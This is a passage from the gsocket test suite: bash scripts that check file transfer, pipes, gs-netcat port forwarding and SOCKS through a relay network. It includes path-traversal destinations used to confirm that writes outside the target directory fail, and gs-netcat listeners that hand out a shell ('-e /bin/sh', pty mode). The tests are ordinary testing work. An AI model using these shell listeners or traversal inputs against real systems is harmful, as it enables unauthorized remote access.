run_get_dst /tmp/0wned.dat
run_get_dst ./../../../../../../../../../../../../../tmp/0wned.dat
run_get_dst ../0wned.dat
[[ -e /tmp/0wned.dat ]] && fail 1
[[ -e "${IODIR}/0wned.dat" ]] && fail 2
$ECHO "${OK}"
fi
bigdir="share/man" # HUGE
[[ -n "$QUICK" ]] && bigdir="share/man/man4" # Less huge
[[ -n "$QUICK" ]] && [[ $(uname) =~ CYGWIN ]] && bigdir="share/man/man8" # Less huge
[[ -n "$QUICK" ]] && [[ $(uname) =~ FreeBSD ]] && bigdir="share/man/man6" # Less huge
[[ -n "$QUICK" ]] && [[ $(uname) =~ SunOS ]] && bigdir="share/man/man9p" # Less huge
if [[ "$tests" =~ '9.1 ' ]]; then
test_start -n "Running #9.1 (HUGE put).........................."
run_put "/usr/./${bigdir}"
$ECHO -n "verify..."
fail_dir_compare 1 "/usr/${bigdir}" "${IODIR}/${bigdir}" .
$ECHO "${OK}"
fi
if [[ "$tests" =~ '9.2 ' ]]; then
test_start -n "Running #9.2 (HUGE get).........................."
run_get "/usr/./${bigdir}"
$ECHO -n "verify..."
fail_dir_compare 1 "/usr/${bigdir}" "${IODIR}/${bigdir}" .
$ECHO "${OK}"
fi
if [ x"$1" == x ]; then
rm -rf "${IODIRSRC}" "${IODIR}"
fi
gsocket-1.4.33/tests/run_gs_tests.sh 0000775 0000000 0000000 00000104262 14072625040 0017466 0 ustar 00root root 0000000 0000000 #! /bin/bash
#export GSOCKET_IP=127.0.0.1
#export GSOCKET_PORT=31337
# Simulate bad network
# https://medium.com/@docler/network-issues-simulation-how-to-test-against-bad-network-conditions-b28f651d8a96
# DEV=wlan0
# tc qdisc add dev ${DEV} root netem loss 1%
# tc qdisc change dev ${DEV} root netem corrupt 2%
# tc qdisc change dev ${DEV} root netem duplicate 1%
# tc qdisc change dev ${DEV} root netem delay 50ms reorder 25%
# # delete all after use:
# tc qdisc del dev ${DEV} root
# depend on: md5sum, rsync, netstat, netcat, dd, ssh, sshd
# Debian packaging: Force CWD to ./tests/
BASEDIR="$(cd "$(dirname "${0}")" || exit; pwd)"
cd "$BASEDIR"
# Sleep for connection time (CT). On localhost this can be 0.1
SLEEP_CT=0.5
if [ x"$GSOCKET_IP" == "x127.0.0.1" ]; then
SLEEP_CT=0.1
fi
if [[ -z $GS_PREFIX ]]; then
GS_PREFIX="$(cd ${BASEDIR}/../tools || exit; pwd)"
GS_BINDIR="$GS_PREFIX"
else
GS_BINDIR="${GS_PREFIX}/bin/"
fi
PATH=${GS_BINDIR}:/usr/local/bin:$PATH
# printf "#! /bin/bash\nexec nc\n" >gs_nc
SLEEP_WD=20 # Max seconds to wait for a process to finish receiving...
command -v md5 >/dev/null 2>&1 && MD5(){ md5 -q "${1}" 2>/dev/null;}
command -v md5sum >/dev/null 2>&1 && MD5() { md5sum "${1}" 2>/dev/null | cut -f1 -d' ';}
command -v rsync >/dev/null 2>&1 || { echo >&2 "rsync not installed. apt-get install rsync."; exit 255; }
command -v netstat >/dev/null 2>&1 && { IS_HAVE_NETSTAT=1; }
# Use traditional netcat that supports "netcat -nlp" for cross-platform comp.
# on CentOS there is only nmap's netcat as 'nc' but we are expecting 'netcat()'.
if [[ "$(nc --version 2>&1)" =~ Ncat ]]; then
NC=nc
NC_EOF_ARG=" " #not empty
NC_LISTEN_ARG="-nlp"
else
# Try traditional netcat first.
if command -v netcat >/dev/null 2>&1; then
NC=netcat
else
if command -v nc >/dev/null 2>&1; then
NC=nc #cygwin
else
echo >&2 "netcat not installed. apt-get install netcat."; exit 255;
fi
fi
fi
# Different OSes use different netcats:
if [[ -z "$NC_EOF_ARG" ]]; then
# HERE: Not Ncat
if [[ $($NC --help 2>&1) =~ "close connection on EOF" ]]; then
NC_EOF_ARG="-c"
elif [[ $($NC --help 2>&1) =~ "w timeout" ]]; then
NC_EOF_ARG="-w2" # cygwin needs at least -w2 (-w1 fails at times)
elif [[ -f /bin/busybox ]]; then
NC_EOF_ARG="-w5"
else
NC_EOF_ARG="-q1"
fi
fi
if [[ -z "$NC_LISTEN_ARG" ]]; then
if [[ $($NC --help 2>&1) =~ "source_port" ]]; then
# apple default : usage: nc [-46AacCDdEFhklMnOortUuvz] [-K tc] [-b boundif] [-i interval] [-p source_port]
# fbsd default : [-P proxy_username] [-p source_port] [-s source] [-T ToS]
# cygwin default: [-P proxy_username] [-p source_port] [-s source] [-T ToS]
NC_LISTEN_ARG="-nl"
else
NC_LISTEN_ARG="-nlp"
fi
fi
# Find out how to get file size
fsize() { stat -c%s "$1" 2>/dev/null || echo 0;}
stat -f%z /etc/hosts &>/dev/null && fsize() { stat -f%z "$1" 2>/dev/null || echo 0;}
export NC
export NC_EOF_ARG
export NC_LISTEN_ARG
export NC_LISTEN="${NC} ${NC_LISTEN_ARG}"
export NC_LISTEN_EOF="${NC} ${NC_LISTEN_ARG} ${NC_EOF_ARG}"
sleep 0.1 &>/dev/null || { echo >&2 "sleep not accepting 0.1. PATH set correct?"; exit 255; }
OK="......[\033[1;32mOK\033[0m]"
FAIL="[\033[1;31mFAILED\033[0m]"
SKIP="[\033[1;33mskipping\033[0m]"
ECHO="echo -e"
if [[ -n "$IS_HAVE_NETSTAT" ]]; then
NETSTATTCP(){ netstat -ant;}
[[ x"$OSTYPE" == "xsolaris"* ]] && NETSTATTCP(){ netstat -an -f inet; }
[[ x"$OSTYPE" == *BSD* ]] && NETSTATTCP(){ netstat -an -f inet; }
else
echo >&2 "***** WARNING: netstat not found. Attempting anyway... *****"
fi
tests="1.1 "
tests+="2.1 2.2 "
tests+="3.1 "
tests+="4.1 4.2 "
tests+="5.1 5.2 5.3 5.4 "
# tests+="5.5 " # cleartext
tests+="6.1 6.2 6.3 6.4 6.5 6.6 " # gs-netcat
# tests+="6.7 " # cleartext
tests+="6.8 " # TOR
tests+="7.1 7.2 7.3 7.4 "
tests+="8.1 8.2 8.3 "
tests+="9.1 9.2 9.3 9.4 "
tests+="10.1 10.2 10.3 " # blitz, gs-sftp
tests+="10.4 " # gs-mount
tests+="10.5 " # gsocket nc
tests+="10.6 " # gsocket socat
tests+="10.7 " # gsocket ssh
if [ x"$1" != x ]; then
tests="$@ "
fi
mk_dummy()
{
# [ -f "$1" ] || dd bs=1024 count=$2 if=/dev/zero | tr '\000' '\101' >"$1" 2>/dev/null
[ -f "$1" ] || dd bs=1024 count=$2 if=/dev/urandom of="$1" 2>/dev/null
}
mk_dummy test1k.dat 1
mk_dummy test4k.dat 4
mk_dummy test50k.dat 50
mk_dummy test1M.dat 1024
mk_dummy test50Mx.dat 51200
if [[ -n "$QUICK" ]]; then
cp test50k.dat test50M.dat
else
cp test50Mx.dat test50M.dat
fi
echo "Fubar" >>test50M.dat # Make it an odd length
MD50MB="$(MD5 test50M.dat)"
MD1MB="$(MD5 test1M.dat)"
MDHELLOW="$(echo "Hello World" | MD5 /dev/stdin)"
test_start()
{
rm -f client_out.dat server_out.dat server_err.txt client_err.txt server[123]_out.dat client[12]_out.dat server[123]_err.txt client[12]_err.txt nc[123]_out.dat nc[123]_err.txt
[[ x"$1" != x ]] && $ECHO $*
# [[ -s id_sec.txt ]] || new_id
# Each test needs a new gsocket-secret or GSRN reports BAD-TOKEN.
new_id
}
fail()
{
$ECHO "${FAIL}"-$*
exit 255
}
skip()
{
$ECHO "${SKIP}" $*
}
# code file1 file2 pid-to-kill
md5fail()
{
[[ -n $4 ]] && [[ "$(MD5 ${2})" != "$(MD5 ${3})" ]] && { kill -9 $4 &>/dev/null; fail $1; }
[[ "$(MD5 ${2})" != "$(MD5 ${3})" ]] && fail $1
}
# Wait until a process has termianted or kill it after SLEEP_WD seconds..
waitkp()
{
local x
local rounds
x=0
rounds=$((SLEEP_WD * 10))
while :; do
kill -0 $1 &>/dev/null
if [ $? -ne 0 ]; then
# Break if process is not running.
return
fi
sleep 0.1
x=$(($x + 1))
if [ $x -gt $rounds ]; then
break;
fi
done
echo "Killing hanging process...."
kill -9 $1 &>/dev/null
exit 255
}
waitk()
{
for p in $@; do
waitkp $p
done
}
# waitkpf
# Kill if file doesnt change for SLEEP_WD seconds or when PID
# has finished.
waitkpf()
{
local x
local rounds
local fz
local fz_old
x=0
fsz_old=0
rounds=$(($SLEEP_WD * 10))
while :; do
kill -0 $1 &>/dev/null
if [ $? -ne 0 ]; then
# Break if process is not running.
return
fi
sleep 0.1
x=$(($x + 1))
if [ $x -gt $rounds ]; then
break;
fi
fz="$(fsize "$2")"
if [[ $fz -ne $fz_old ]]; then
fz_old=$fz
x=0
fi
done
echo "Killing hanging process....($2 did not change size for to long ($fz)"
kill -9 $1 &>/dev/null
exit 255
}
# Wait for 2 files to become identical...
waitf()
{
x=0;
rounds=$(($SLEEP_WD * 10))
while :; do
if [ "$(MD5 $1)" == "$(MD5 $2)" ]; then
return
fi
sleep 0.1
x=$(($x + 1))
if [ $x -gt $rounds ]; then
break;
fi
done
echo "Oops. files not identical...."
}
# Wait for file to match has
waitfhash()
{
x=0;
rounds=$(($SLEEP_WD * 10))
while :; do
if [ "$(MD5 $1)" == "$2" ]; then
return
fi
sleep 0.1
x=$(($x + 1))
if [ $x -gt $rounds ]; then
break;
fi
done
echo "Oops. files not identical...."
}
waittcp()
{
# If we do not have netstat then sleep in the hope that port opens and then
# return.
[[ -z "$IS_HAVE_NETSTAT" ]] && { sleep 1; return; }
x=0;
rounds=$(($SLEEP_WD * 10))
while :; do
NETSTATTCP 2>/dev/null | grep LISTEN | grep "$1" &>/dev/null
if [ $? -eq 0 ]; then
return
fi
sleep 0.1
x=$(($x + 1))
if [ $x -gt $rounds ]; then
break;
fi
done
echo "Oops. TCP $1 not listening...."
}
sleep_ct()
{
sleep $SLEEP_CT
}
new_id()
{
# Create a random secret for all tests
../tools/gs-helloworld -g 2>/dev/null >id_sec.txt
}
# killall -9 gs-helloworld gs-pipe gs-full-pipe gs-netcat &>/dev/null
# [[ -f id_sec.txt ]] || new_id
if [[ "$tests" =~ '1.1 ' ]]; then
### 1 - Hello World
test_start -n "Running: Hello World #1.1 ................................"
GSPID="$(sh -c '../tools/gs-helloworld -k id_sec.txt -l 2>server_err.txt >server_out.dat & echo ${!}')"
# sleep 0.5 required or otherwise kernel will send both strings in single
# tcp and that would result in a single read() call on other side.
sleep_ct && (echo "Hello World"; sleep 1; echo "That's the end") | ../tools/gs-helloworld -w -k id_sec.txt 2>client_err.txt >client_out.dat
waitk $GSPID
if [ "$(MD5 client_out.dat)" != "628eca04c4cb6c8f539381be1c5cd325" ]; then fail 1; fi
$ECHO "${OK}"
fi
if [[ "$tests" =~ '2.1 ' ]]; then
### 2 - Pipe
# Normal (server listening, client connecting)
test_start -n "Running: pipe #2.1 ......................................."
GSPID="$(sh -c '../tools/gs-pipe -k id_sec.txt -l 2>server_err.txt >server_out.dat & echo ${!}')"
sleep_ct && ../tools/gs-pipe -k id_sec.txt client_err.txt >client_out.dat
waitk $GSPID
if [ "$(MD5 test50k.dat)" != "$(MD5 server_out.dat)" ]; then fail 1; fi
$ECHO "${OK}"
fi
if [[ "$tests" =~ '2.2 ' ]]; then
### Waiting client test
test_start -n "Running: pipe #2.2 (waiting for server)..................."
GSPID="$(sh -c '../tools/gs-pipe -k id_sec.txt -w client_err.txt >client_out.dat & echo ${!}')"
sleep_ct && ../tools/gs-pipe -k id_sec.txt -l 2>server_err.txt >server_out.dat
waitk $GSPID
if [ "$(MD5 test50k.dat)" != "$(MD5 server_out.dat)" ]; then fail 1; fi
$ECHO "${OK}"
fi
if [[ "$tests" =~ '3.1 ' ]]; then
### Impersonate 'listen'
test_start -n "Running: pipe #3.1 (auth token)..........................."
GS1PID="$(sh -c '../tools/gs-pipe -k id_sec.txt -l -a player-alice 2>server1_err.txt >server1_out.dat & echo ${!}')"
GS2PID="$(sh -c '../tools/gs-pipe -k id_sec.txt -l -a player-alice 2>server2_err.txt >server2_out.dat & echo ${!}')"
# Next server should not be allowed to listen (wrong -a key)
sleep_ct
../tools/gs-pipe -k id_sec.txt -l -a player-mallory 2>server3_err.txt >server3_out.dat
RET=$?
if [ $RET -ne 255 ]; then fail 1; fi
# Here: Two servers are still running...
../tools/gs-pipe -k id_sec.txt client_err.txt >client_out.dat
../tools/gs-pipe -k id_sec.txt client_err.txt >client_out.dat
waitk $GS1PID $GS2PID &>/dev/null
if [ "$(MD5 test50k.dat)" != "$(MD5 server1_out.dat)" ]; then fail 2; fi
if [ "$(MD5 test50k.dat)" != "$(MD5 server2_out.dat)" ]; then fail 3; fi
$ECHO "${OK}"
fi
if [[ "$tests" =~ '4.1' ]]; then
### Client to become a server if no server is listening
test_start -n "Running: pipe #4.1 (become server if possible)............"
GSPID="$(sh -c '../tools/gs-pipe -k id_sec.txt -A server_err.txt >server_out.dat & echo ${!}')"
sleep_ct
../tools/gs-pipe -k id_sec.txt -A client_err.txt >client_out.dat
waitk $GSPID
FC=0
[[ "$(MD5 test50k.dat)" != "$(MD5 server_out.dat)" ]] && FC=$((FX+1))
[[ "$(MD5 test1k.dat)" != "$(MD5 client_out.dat)" ]] && FC=$((FX+1))
[[ "$FC" != 1 ]] && fail 1
$ECHO "${OK}"
fi
if [[ "$tests" =~ '4.2' ]]; then
# Client already waiting. 2nd client to become server (if no server available)
test_start -n "Running: pipe #4.2 (..while client waiting)..............."
GSPID="$(sh -c '../tools/gs-pipe -k id_sec.txt -w client_err.txt >client_out.dat & echo ${!}')"
sleep_ct
../tools/gs-pipe -k id_sec.txt -A 2>server_err.txt >server_out.dat
waitk $GSPID
if [ "$(MD5 test50k.dat)" != "$(MD5 server_out.dat)" ]; then fail 1; fi
$ECHO "${OK}"
fi
if [[ "$tests" =~ '5.1' ]]; then
test_start -n "Running: full-pipe #5.1..................................."
GSPID="$(sh -c '../tools/gs-full-pipe -k id_sec.txt -A client_err.txt >client_out.dat & echo ${!}')"
sleep_ct
../tools/gs-full-pipe -k id_sec.txt -A server_err.txt >server_out.dat
waitk $GSPID
if [ "$(MD5 test50k.dat)" != "$(MD5 server_out.dat)" ]; then fail 1; fi
if [ "$(MD5 test50k.dat)" != "$(MD5 client_out.dat)" ]; then fail 2; fi
$ECHO "${OK}"
fi
if [[ "$tests" =~ '5.2' ]]; then
test_start -n "Running: full-pipe #5.2 (50MB)............................"
GSPID="$(sh -c '../tools/gs-full-pipe -k id_sec.txt -A client_err.txt >client_out.dat & echo ${!}')"
sleep_ct
../tools/gs-full-pipe -k id_sec.txt -A server_err.txt >server_out.dat
waitk $GSPID
if [ "$MD50MB" != "$(MD5 server_out.dat)" ]; then fail 1; fi
if [ "$MD50MB" != "$(MD5 client_out.dat)" ]; then fail 2; fi
$ECHO "${OK}"
fi
if [[ "$tests" =~ '5.3' ]]; then
test_start -n "Running: full-pipe #5.3 (assym sizes, large server)......."
GSPID="$(sh -c '../tools/gs-full-pipe -k id_sec.txt -A server_err.txt >server_out.dat & echo ${!}')"
sleep_ct
sleep 1
../tools/gs-full-pipe -A -k id_sec.txt client_err.txt >client_out.dat
waitk $GSPID &>/dev/null
# if [ "$MD50MB" != "$(MD5 server_out.dat)" ]; then fail 1; fi
if [ "$(MD5 test1M.dat)" != "$(MD5 client_out.dat)" ]; then fail 1; fi
if [ "$(MD5 test50k.dat)" != "$(MD5 server_out.dat)" ]; then fail 2; fi
$ECHO "${OK}"
fi
if [[ "$tests" =~ '5.4' ]]; then
test_start -n "Running: full-pipe #5.4 (assym sizes, small server)......."
GSPID="$(sh -c '../tools/gs-full-pipe -k id_sec.txt -A server_err.txt >server_out.dat & echo ${!}')"
sleep_ct
sleep 1
../tools/gs-full-pipe -A -k id_sec.txt client_err.txt >client_out.dat
waitk $GSPID &>/dev/null
# if [ "$MD50MB" != "$(MD5 server_out.dat)" ]; then fail 1; fi
if [ "$(MD5 test1M.dat)" != "$(MD5 server_out.dat)" ]; then fail 1; fi
if [ "$(MD5 test50k.dat)" != "$(MD5 client_out.dat)" ]; then fail 2; fi
$ECHO "${OK}"
fi
if [[ "$tests" =~ '5.5' ]]; then
test_start -n "Running: full-pipe #5.5 (assymetric sizes, clear)........."
GSPID="$(sh -c '../tools/gs-full-pipe -k id_sec.txt -AC server_err.txt >server_out.dat & echo ${!}')"
sleep_ct
../tools/gs-full-pipe -k id_sec.txt -AC client_err.txt >client_out.dat
waitk $GSPID
if [ "$MD1MB" != "$(MD5 client_out.dat)" ]; then fail 1; fi
if [ "$(MD5 test4k.dat)" != "$(MD5 server_out.dat)" ]; then fail 2; fi
$ECHO "${OK}"
fi
if [[ "$tests" =~ '6.1' ]]; then
test_start -n "Running: netcat #6.1 (stdin, 1MB)........................."
GSPID="$(sh -c '../tools/gs-netcat -k id_sec.txt -w client_err.txt >client_out.dat & echo ${!}')"
sleep_ct
../tools/gs-netcat -k id_sec.txt -l server_err.txt >server_out.dat
waitk $GSPID
if [ "$MD1MB" != "$(MD5 server_out.dat)" ]; then fail 1; fi
if [ "$MD1MB" != "$(MD5 client_out.dat)" ]; then fail 2; fi
$ECHO "${OK}"
fi
if [[ "$tests" =~ '6.2' ]]; then
test_start -n "Running: netcat #6.2 (stdin, assymetric sizes)............"
# GSPID="$(sh -c '../tools/gs-netcat -k id_sec.txt -w client_err.txt >client_out.dat & echo ${!}')"
GSPID="$(sh -c '../tools/gs-netcat -k id_sec.txt -w client_err.txt >client_out.dat & echo ${!}')"
sleep_ct
# ../tools/gs-netcat -k id_sec.txt -l server_err.txt >server_out.dat
../tools/gs-netcat -k id_sec.txt -l server_err.txt >server_out.dat
waitk $GSPID
if [ "$MD1MB" != "$(MD5 client_out.dat)" ]; then fail 1; fi
if [ "$(MD5 test50k.dat)" != "$(MD5 server_out.dat)" ]; then fail 2; fi
# if [ "$MD1MB" != "$(MD5 server_out.dat)" ]; then fail 1; fi
# if [ "$(MD5 test50k.dat)" != "$(MD5 client_out.dat)" ]; then fail 2; fi
$ECHO "${OK}"
fi
if [[ "$tests" =~ '6.3' ]]; then
test_start -n "Running: netcat #6.3 (stdin, assym sizes, kill client)...."
GSPID1="$(sh -c '(cat test4k.dat; sleep 30) | ../tools/gs-netcat -k id_sec.txt -w 2>client_err.txt >client_out.dat & echo ${!}')"
GSPID2="$(sh -c '(cat test1k.dat; sleep 30) | ../tools/gs-netcat -k id_sec.txt -l 2>server_err.txt >server_out.dat & echo ${!}')"
# sleep_ct
waitf test4k.dat server_out.dat
waitf test1k.dat client_out.dat
kill -9 $GSPID1 &>/dev/null
waitk $GSPID2
if [ "$(MD5 test4k.dat)" != "$(MD5 server_out.dat)" ]; then fail 1; fi
if [ "$(MD5 test1k.dat)" != "$(MD5 client_out.dat)" ]; then fail 2; fi
$ECHO "${OK}"
fi
if [[ "$tests" =~ '6.4' ]]; then
test_start -n "Running: netcat #6.4 (stdin, assym sizes, kill server)...."
GSPID1="$(sh -c '(cat test4k.dat; sleep 30) | ../tools/gs-netcat -k id_sec.txt -w 2>client_err.txt >client_out.dat & echo ${!}')"
GSPID2="$(sh -c '(cat test1k.dat; sleep 30) | ../tools/gs-netcat -k id_sec.txt -l 2>server_err.txt >server_out.dat & echo ${!}')"
waitf test4k.dat server_out.dat
waitf test1k.dat client_out.dat
kill -9 $GSPID2 &>/dev/null
waitk $GSPID1
if [ "$(MD5 test4k.dat)" != "$(MD5 server_out.dat)" ]; then fail 1; fi
if [ "$(MD5 test1k.dat)" != "$(MD5 client_out.dat)" ]; then fail 2; fi
$ECHO "${OK}"
fi
if [[ "$tests" =~ '6.5' ]]; then
test_start -n "Running: netcat #6.5 (/dev/null C2S)......................"
GSPID="$(sh -c '../tools/gs-netcat -k id_sec.txt -w client_err.txt >client_out.dat & echo ${!}')"
sleep_ct
../tools/gs-netcat -k id_sec.txt -l server_err.txt >server_out.dat
waitk $GSPID
if [ -s server_out.dat ]; then fail 1; fi
if [ "$(MD5 test4k.dat)" != "$(MD5 client_out.dat)" ]; then fail 2; fi
$ECHO "${OK}"
fi
if [[ "$tests" =~ '6.6' ]]; then
test_start -n "Running: netcat #6.6 (/dev/null S2C)......................"
GSPID="$(sh -c '../tools/gs-netcat -k id_sec.txt -w client_err.txt >client_out.dat & echo ${!}')"
sleep_ct
../tools/gs-netcat -k id_sec.txt -l server_err.txt >server_out.dat
waitk $GSPID
if [ -s client_out.dat ]; then fail 1; fi
if [ "$(MD5 test4k.dat)" != "$(MD5 server_out.dat)" ]; then fail 2; fi
$ECHO "${OK}"
fi
if [[ "$tests" =~ '6.7' ]]; then
test_start -n "Running: netcat #6.7 (stdin, assymetric sizes, clear)....."
GSPID="$(sh -c '../tools/gs-netcat -k id_sec.txt -wC client_err.txt >client_out.dat & echo ${!}')"
sleep_ct
../tools/gs-netcat -k id_sec.txt -lC server_err.txt >server_out.dat
waitk $GSPID
if [ "$MD1MB" != "$(MD5 server_out.dat)" ]; then fail 1; fi
if [ "$(MD5 test50k.dat)" != "$(MD5 client_out.dat)" ]; then fail 2; fi
$ECHO "${OK}"
fi
if [[ "$tests" =~ '6.8' ]]; then
test_start -n "Running: netcat #6.8 (stdin, assymetric sizes, TOR)......."
if [[ "$GSOCKET_IP" =~ 192\.168\. ]]; then
skip "$GSOCKET_IP"
elif [[ -z "$IS_HAVE_NETSTAT" ]]; then
skip "(no netstat)"
elif ! NETSTATTCP 2>/dev/null | grep LISTEN | grep 9050 &>/dev/null; then
skip "(no TOR)"
else
GSPID="$(sh -c '../tools/gs-netcat -k id_sec.txt -wT client_err.txt >client_out.dat & echo ${!}')"
sleep_ct
../tools/gs-netcat -k id_sec.txt -l server_err.txt >server_out.dat
waitk $GSPID
if [ "$(MD5 test4k.dat)" != "$(MD5 server_out.dat)" ]; then fail 1; fi
if [ "$(MD5 test50k.dat)" != "$(MD5 client_out.dat)" ]; then fail 2; fi
$ECHO "${OK}"
fi
fi
if [[ "$tests" =~ '7.1' ]]; then
test_start -n "Running: netcat #7.1 (cmd, multi connect)................."
GSPID1="$(sh -c '../tools/gs-netcat -k id_sec.txt -l -e "echo Hello World && sleep 1" 2>server_err.txt >server_out.dat & echo ${!}')"
GSPID2="$(sh -c '../tools/gs-netcat -k id_sec.txt -w client2_err.txt >client2_out.dat & echo ${!}')"
GSPID3="$(sh -c '../tools/gs-netcat -k id_sec.txt -w client3_err.txt >client3_out.dat & echo ${!}')"
../tools//gs-netcat -k id_sec.txt -w client_err.txt >client_out.dat
waitk $GSPID2 $GSPID3
kill -9 $GSPID1 &>/dev/null
if [ "${MDHELLOW}" != "$(MD5 client_out.dat)" ]; then fail 1; fi
if [ "${MDHELLOW}" != "$(MD5 client2_out.dat)" ]; then fail 2; fi
if [ "${MDHELLOW}" != "$(MD5 client3_out.dat)" ]; then fail 3; fi
$ECHO "${OK}"
fi
if [[ "$tests" =~ '7.2' ]]; then
test_start -n "Running: netcat #7.2 (shell, exit)........................"
GSPID1="$(sh -c '../tools/gs-netcat -k id_sec.txt -l -e /bin/sh 2>server_err.txt >server_out.dat & echo ${!}')"
echo "date; echo Hello World; exit" | ../tools/gs-netcat -k id_sec.txt -w 2>client_err.txt >client_out.dat
sleep_ct
kill $GSPID1
if [ "${MDHELLOW}" != "$(tail -1 client_out.dat | MD5 /dev/stdin)" ]; then fail 1; fi
$ECHO "${OK}"
fi
# FreeBSD sends ansi-request to determine screen size. Wait for it to timeout and
# then send our command string.
XCMD="printf \"date && echo Hello World && exit\n\""
if [[ "$OSTYPE" == *"BSD"* ]]; then
XCMD="sleep 3; ${XCMD}"
fi
if [[ "$tests" =~ '7.3' ]]; then
test_start -n "Running: netcat #7.3 (pty shell, exit)...................."
GSPID1="$(sh -c '../tools/gs-netcat -k id_sec.txt -l -i 2>server_err.txt >server_out.dat & echo ${!}')"
# Can not start Client with -i because it's not a tty. Must 'fake' the terminal response.
sh -c "$XCMD" | ../tools/gs-netcat -k id_sec.txt -w 2>client_err.txt >client_out.dat
# (printf "date; echo Hello World; exit\n") | ../tools/gs-netcat -k id_sec.txt -w 2>client_err.txt >client_out.dat
sleep_ct
kill $GSPID1
tail -2 client_out.dat | grep 'Hello World' &>/dev/null
if [ $? -ne 0 ]; then fail 1; fi
$ECHO "${OK}"
fi
if [[ "$tests" =~ '7.4' ]]; then
test_start -n "Running: netcat #7.4 (multi pty shell, exit).............."
GSPID1="$(sh -c '../tools/gs-netcat -k id_sec.txt -l -i 2>server_err.txt >server_out.dat & echo ${!}')"
GSPID2=$(sh -c "($XCMD) | ../tools/gs-netcat -k id_sec.txt -w 2>client1_err.txt >client1_out.dat & echo \${!}")
GSPID3=$(sh -c "($XCMD) | ../tools/gs-netcat -k id_sec.txt -w 2>client2_err.txt >client2_out.dat & echo \${!}")
GSPID4=$(sh -c "($XCMD) | ../tools/gs-netcat -k id_sec.txt -w 2>client3_err.txt >client3_out.dat & echo \${!}")
waitk $GSPID2 $GSPID3 $GSPID4
kill $GSPID1
if [ x"$(tail -2 client1_out.dat | grep 'Hello World')" == x ]; then fail 1; fi
if [ x"$(tail -2 client2_out.dat | grep 'Hello World')" == x ]; then fail 2; fi
if [ x"$(tail -2 client3_out.dat | grep 'Hello World')" == x ]; then fail 3; fi
$ECHO "${OK}"
fi
if [[ "$tests" =~ '8.1' ]]; then
test_start -n "Running: netcat #8.1 (port forward server side)..........."
GSPID1="$(sh -c '../tools/gs-netcat -k id_sec.txt -l -d 127.0.0.1 -p 12345 2>server_err.txt >server_out.dat & echo ${!}')"
GSPID2="$(sh -c '(sleep 10) | $NC_LISTEN 12345 >nc1_out.dat 2>nc1_err.txt & echo ${!}')"
waittcp 12345
GSPID3="$(sh -c '../tools/gs-netcat -k id_sec.txt -w client_err.txt >client_out.dat & echo ${!}')"
waitf test50k.dat nc1_out.dat
kill -9 $GSPID1 $GSPID2 $GSPID3 &>/dev/null
if [ "$(MD5 test50k.dat)" != "$(MD5 nc1_out.dat)" ]; then fail 1; fi
$ECHO "${OK}"
fi
if [[ "$tests" =~ '8.2' ]]; then
# nc -> Port 12344 -> GS-NET -> Port 12345 -> nc -ln
test_start -n "Running: netcat #8.2 (port forward both sides)............"
GSPID1="$(sh -c '../tools/gs-netcat -k id_sec.txt -l -d 127.0.0.1 -p 12345 2>server_err.txt >server_out.dat & echo ${!}')"
GSPID2="$(sh -c '(sleep 1) | $NC_LISTEN 12345 >nc1_out.dat 2>nc1_err.txt & echo ${!}')"
GSPID3="$(sh -c '../tools/gs-netcat -k id_sec.txt -w -p 12344 2>server2_err.txt >server2_out.dat & echo ${!}')"
waittcp 12344
waittcp 12345
GSPID4="$(sh -c '(cat test50k.dat; sleep 15) | $NC -vn 127.0.0.1 12344 >nc2_out.dat 2>nc2_err.txt & echo ${!}')"
waitf test50k.dat nc1_out.dat
kill -9 $GSPID1 $GSPID2 $GSPID3 $GSPID4 &>/dev/null
if [ "$(MD5 test50k.dat)" != "$(MD5 nc1_out.dat)" ]; then fail 1; fi
$ECHO "${OK}"
fi
if [[ "$tests" =~ '8.3' ]]; then
# nc -> Port 12344 -> GS-NET -> Port 12345 -> nc -ln
# Bi-Directional
test_start -n "Running: netcat #8.3 (port forward both sides, bi-dir)...."
GSPID1="$(sh -c '../tools/gs-netcat -k id_sec.txt -l -d 127.0.0.1 -p 12345 2>server1_err.txt >server1_out.dat & echo ${!}')"
GSPID2="$(sh -c '(cat test4k.dat; sleep 15) | $NC_LISTEN 12345 >nc1_out.dat 2>nc1_err.txt & echo ${!}')"
GSPID3="$(sh -c '../tools/gs-netcat -k id_sec.txt -w -p 12344 2>client_err.txt >client_out.dat & echo ${!}')"
waittcp 12344
waittcp 12345
GSPID4="$(sh -c '(cat test50k.dat; sleep 15) | $NC -vn 127.0.0.1 12344 >nc2_out.dat 2>nc2_err.txt & echo ${!}')"
waitf test50k.dat nc1_out.dat
waitf test4k.dat nc2_out.dat
kill -9 $GSPID1 $GSPID2 $GSPID3 $GSPID4 &>/dev/null
if [ "$(MD5 test50k.dat)" != "$(MD5 nc1_out.dat)" ]; then fail 1; fi
if [ "$(MD5 test4k.dat)" != "$(MD5 nc2_out.dat)" ]; then fail 2; fi
$ECHO "${OK}"
fi
if [[ "$tests" =~ '9.1' ]]; then
# SOCKS test socat -> port 1085 -> GS-NET -> Port 12345 -> nc -ln
test_start -n "Running: netcat #9.1 (socat/socks5)......................."
socat -h 2>/dev/null | grep socks5 &>/dev/null
if [ $? -ne 0 ]; then
skip "(no socat2)"
else
GSPID1="$(sh -c '../tools/gs-netcat -k id_sec.txt -lS 2>server1_err.txt >server1_out.dat & echo ${!}')"
GSPID2="$(sh -c '(cat test4k.dat; sleep 15) | $NC_LISTEN 12345 >nc1_out.dat 2>nc1_err.txt & echo ${!}')"
GSPID3="$(sh -c '../tools/gs-netcat -k id_sec.txt -w -p 1085 2>client_err.txt >client_out.dat & echo ${!}')"
waittcp 1085
waittcp 12345
GSPID4="$(sh -c '(cat test50k.dat; sleep 15) | socat - "SOCKS5:localhost:12345 | TCP:127.1:1085" >nc2_out.dat 2>nc2_err.txt & echo ${!}')"
waitf test50k.dat nc1_out.dat
waitf test4k.dat nc2_out.dat
kill -9 $GSPID1 $GSPID2 $GSPID3 $GSPID4 &>/dev/null
if [ "$(MD5 test50k.dat)" != "$(MD5 nc1_out.dat)" ]; then fail 1; fi
if [ "$(MD5 test4k.dat)" != "$(MD5 nc2_out.dat)" ]; then fail 2; fi
$ECHO "${OK}"
fi
fi
if [[ "$tests" =~ '9.2' ]]; then
# SOCKS test socat -> port 1085 -> GS-NET -> Port 12345 -> nc -ln
test_start -n "Running: netcat #9.2 (socat/socks4)......................."
socat -h 2>/dev/null | grep socks4 &>/dev/null
if [ $? -ne 0 ]; then
skip "(no socat)"
else
GSPID1="$(sh -c '../tools/gs-netcat -k id_sec.txt -lS 2>server1_err.txt >server1_out.dat & echo ${!}')"
